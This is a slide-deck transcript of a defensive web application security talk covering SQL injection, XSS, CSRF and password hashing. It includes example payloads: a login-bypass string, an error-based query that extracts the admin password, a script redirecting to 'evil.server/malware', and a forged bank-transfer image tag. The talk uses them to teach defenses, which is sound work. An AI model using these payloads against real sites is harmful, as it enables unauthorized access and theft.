This document provides a summary of a presentation on web application security. It introduces the presenter and outlines topics that will be covered, including injection attacks like SQL injection and cross-site scripting (XSS), cross-site request forgery (CSRF), password storage techniques, and defenses against these attacks. Examples of each attack type are demonstrated. Defenses like input validation, output encoding, anti-XSS libraries, synchronizer tokens for CSRF, and password hashing with salts are discussed. The importance of secure coding practices and continued learning are emphasized.

1. Web Application Security
by Lee Christensen
@tifkin_

2. Thanks to our Sponsors!

3. Who is this guy?
• Lee Christensen
• Penetration Tester and Security Consultant
• Computer Security Enthusiast
• Web Application Security
• Browser Security
• Developer (at heart…)
• Almost a Weber State graduate

4. Who are you?

5. Where are we going?
• Attacker techniques and defenses (Application level)
• Awareness – NON-COMPREHENSIVE
• Injection Attacks
• SQL injection
• Cross-site scripting
• Cross Site Request Forgery
• Password Storage
• Quick note on permission

6. Injection Attacks

7. DEMO
SQL injection attacks and techniques

8. Input: PASSWORD
SELECT user_id
FROM phorum_users
WHERE username = 'admin'
AND password = 'PASSWORD'

9. Input:’ OR 1=1#
SELECT user_id
FROM phorum_users
WHERE username = 'admin'
AND password = '_________'

10. Input:’ OR 1=1#
SELECT user_id
FROM phorum_users
WHERE username = 'admin'
AND password = '' OR 1=1#'

11. BLAH' AND
(SELECT 1
FROM
(SELECT COUNT(*),
CONCAT(
'>>>',
(SELECT password
FROM phorum_users
WHERE username = 'admin')
,'<<<',
FLOOR(RAND(0)*2))x
FROM phorum_users
GROUP BY x)a)#'

12. Defenses
• “Give me parameterized SQL, or give me death” – Jeff Atwood
• No concatenating strings!
• Server-side input validation
• Whitelist Acceptable Characters
• Avoid blacklists where possible
• Use an Object Relational Mapper (ORM)
• NO CONCATENATING STRINGS!

13. $db = new PDO('mysql:host=host;dbname=<DB>',
'DB_USER',
'DB_PASSWORD');
$db = $db->prepare('SELECT user_id
FROM phorum_users
HERE username = :username
AND password = :password');
$db->bindParam(':username', $username, PDO:PARAM_STR);
$db->bindParam(':password', $password, PDO:PARAM_STR);
$db->execute();

14. Cross-site Scripting
<script>alert(1)</script>

15. What is XSS?
• Injected client side content (usually JavaScript*)
• Extremely Prevalent
• Some of the types
• Reflective
• Persistent (Stored)
• DOM-based
• Mutation XSS (mXSS)
• Flash-based XSS

16. Reflective XSS
• welcome.jsp?name=Bob
• Welcome Bob!
• welcome.jsp?name=<blink>Bob</blink>
• Welcome <blink>Bob</blink>
R.I.P. <blink> - Aug. 6, 2013
• welcome.jsp?name=<script>document.location=“evil.server/malware
”</script>
• Welcome <script>document.location=“evil.server/malware”</script>!
Vulnerable Code
Welcome $name

17. Persistent XSS
• XSS attack payload is stored
• Database
• Session variable
• Cookie
• File
• Image metadata

18. Demo
Cross-site scripting (XSS)

19. How XSS exploits clients
• Session hijacking
• (HttpOnly flag on cookies)
• Malware
• Stealing Credentials
• Internal network scanning
• Data Theft
• Impersonating Users
• Bypass CSRF Defenses
• Key loggers

20. XSS Defenses
• Contextual Output Encoding

21. Vulnerable Code Resulting Output
<div>
INPUT
</div>
<div>
<script>alert(1)</script>
</div>
<input value=“INPUT”> <input value=“” onfocus=“alert(1)”>
<script>
var a = “INPUT”;
</script>
<script>
var a = ““ + alert(1) + “”;
</script>
Contextual Output Encoding
Examples

22. Vulnerable Code Resulting Output
<div>
encodeForHtml(INPUT)
</div>
<div>
&lt;script&gt;alert(1)&lt;/script&gt;
</div>
<input
value=“encodeForHtmlAttr(INPUT)”>
<input
value=“&quot;&#x20;onfocus&#x3D;&quot;alert(1)”>
<script>
var a = “encodeForJS(INPUT)”;
</script>
<script>
var a =
“x22x20x2bx20alertx281x29x20x2bx20x22”;
</script>
Contextual Output Encoding
Examples
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

23. XSS Defenses
• Contextual Output Encoding
• OWASP Java Encoder Project
• ESAPI (PHP, Coldfusion, Python)
• Anti-XSS (.NET)
• Server side input validation
• Use a whitelist where possible
• HTML Sanitizers
• AntiXSS/HTML Agility Pack (.NET)
• Java HTML Purifier
• HTML Purifier/htmLawed (PHP)
• DOM Purify (JavaScript, NodeJS?)

24. XSS Defenses – continued
• Understand your framework’s defenses
• @Model.name
• <a href=“javascript&#x3A;alert(1)”>Click Me!</a>
• Use a JavaScript MVC framework that supports templated views
• <div>{{user.name}}</div>
• https://code.google.com/p/mustache-security/
• Content Security Policy

25. Cross Site Request Forgery (CSRF)

26. What is CSRF?
• “Forced Browsing”
• my.bank/transfer?amount=1000&to=1234
• <img src=“my.bank/transfer?amount=1000&to=666”>
• 4.5 million Routers Hacked via CSRF
• Places to be especially aware of
• Actions
• Account/Role Management

27. Demo
Privilege Escalation via CSRF

28. CSRF Defense
• Eliminate Cross Site Scripting(XSS)
• Re-enter password
• GET requests do NOT change server state
• Synchronizer-token pattern
1. Random token is generated associated with user’s session
2. Include token in each state-changing request made to the server
3. Server validates that token submitted is valid

29. CSRF defenses in action
• CSRF Token
• Unique per user
session
• Sent on state-changing
requests
if(tokenInRequest == TokenOnServer)
Proceed
else
Error!

30. Example: ASP.NET MVC
Controller
[ValidateAntiForgeryToken]
public ActionResult DoSomething()
{
// Do stuff
}
View
<div>
@using (Html.BeginForm())
{
@Html.AntiForgeryToken()
//Other form elements
}
</div>

31. Password Storage

32. Hashing
• Potatoes + Frying Pan = Protection!

33. Hashing
• Potatoes + Frying Pan = Protection!
• One-way function
• sha1(password) = 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
• sha1(salt + password)
• sha1(“A3dyUc” + “password”) =
e9d435577a819b718fea098a7f4b4b6c9e1963da
• sha1(“8DcPvd” + “password”) =
aa5f9e6c1f87b3520b08fb1540c3fa62cf2afb03
• Password + Salt = Sufficient?

34. Password Cracking
Leaked Hash: 25ab86bed149ca6ca9c1c0d5db7c9a91388ddeab
Guesses:
• sha1(password) => 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
• sha1(123456) => 7c4a8d09ca3762af61e59520943dc26494f8941b
• sha1(admin) => d033e22ae348aeb5660fc2140aec35850c4da997
• sha1(monkey) => ab87d24bdc7452e55738deb5f868e1f16dea5ace
• sha1(s3cr3t) => 25ab86bed149ca6ca9c1c0d5db7c9a91388ddeab

36. Demo
Password Cracking

37. 1) Do not limit the type of characters or
length of user password
• Limiting passwords to protect against
injection is doomed to failure
• Be wary of systems that allow unlimited
password sizes (Django DOS Sept 2003)
• One Exception: Password1!
Password Storage in the Real World

38. 2) Use a cryptographically strong
credential-specific salt
•protect( [salt] + [password] );
•Use a 32char or 64char salt (actual size
dependent on protection function);
•Do not depend on hiding, splitting, or otherwise
obscuring the salt
Password Storage in the Real World

39. Leverage Keyed Functions
3a) Impose difficult verification on [only]
the attacker (strong/fast)
•HMAC-SHA-256( [private key], [salt] + [password] )
•Protect this key as any private key using best
practices
•Store the key outside the credential store
•Build the password-to-hash conversion as a separate
web service (cryptographic isolation).

40. 3b) Impose difficult verification on the
attacker and defender (weak/slow)
•PBKDF2([salt] + [password], c=10,000,000);
•Use PBKDF2 when FIPS certification or
enterprise support on many platforms is required
•Use Scrypt where resisting any/all hardware
accelerated attacks is necessary but enterprise
support and scale is not.
Password Storage in the Real World

41. Closing Thoughts
• Code with an attacker’s perspective
• Test your app
• Continue to learn
• Get Involved
• OWASP (Open Web Application Security Project)
• http://utahsec.org

42. Questions?

43. Thanks!
@tifkin_